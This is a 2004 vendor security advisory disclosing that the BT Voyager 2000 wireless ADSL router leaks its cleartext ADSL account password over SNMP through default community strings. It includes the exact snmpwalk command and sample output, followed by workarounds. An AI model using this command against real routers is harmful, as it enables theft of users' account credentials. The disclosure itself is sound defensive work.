Arhont Advisory by:	Konstantin Gavrilenko (http://www.arhont.com)
Advisory:               cleartext account password obtainable using SNMP
Class:			design/configuration bug
Test platform:		BT Voyager 2000 Wireless ADSL Router
Vendor Contact Date:    10/06/2004
PD* release date:	22/06/2004

DETAILS:

It is possible to obtain the ADSL account password from the wireless
side of the mentioned router. Provided the attacker can associate to the
router, he/she can grab SNMP strings from the router using default
public/private community name.

Furthermore, the information provided with public and private community
name are identical, differing only in that with private you can
obviously change the SNMP strings.

e.g.
root@...rvalg:~# snmpwalk -v 1 -c public 192.168.1.1
SNMPv2-MIB::sysDescr.0 = STRING: BT Voyager 2000 Wireless ADSL Router
SNMPv2-MIB::sysObjectID.0 = OID: SNMPv2-SMI::enterprises.2535.111.6
SNMPv2-MIB::sysUpTime.0 = Timeticks: (260430184) 30 days, 1:02:01.84
[snip]
SNMPv2-SMI::transmission.23.2.3.1.5.5.1 = STRING:
"name.surname@...roadband.com"
SNMPv2-SMI::transmission.23.2.3.1.5.6.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.5.7.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.5.8.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.5.9.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.5.10.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.5.11.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.5.12.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.2 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.3 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.4 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.5 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.6 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.7 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.8 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.5.1 = STRING: "password"
[snip]

Risk Factor: High/Medium

Workarounds:
- Disallow anonymous access to the wireless router
- Change default SNMP community names
- Disable SNMP support
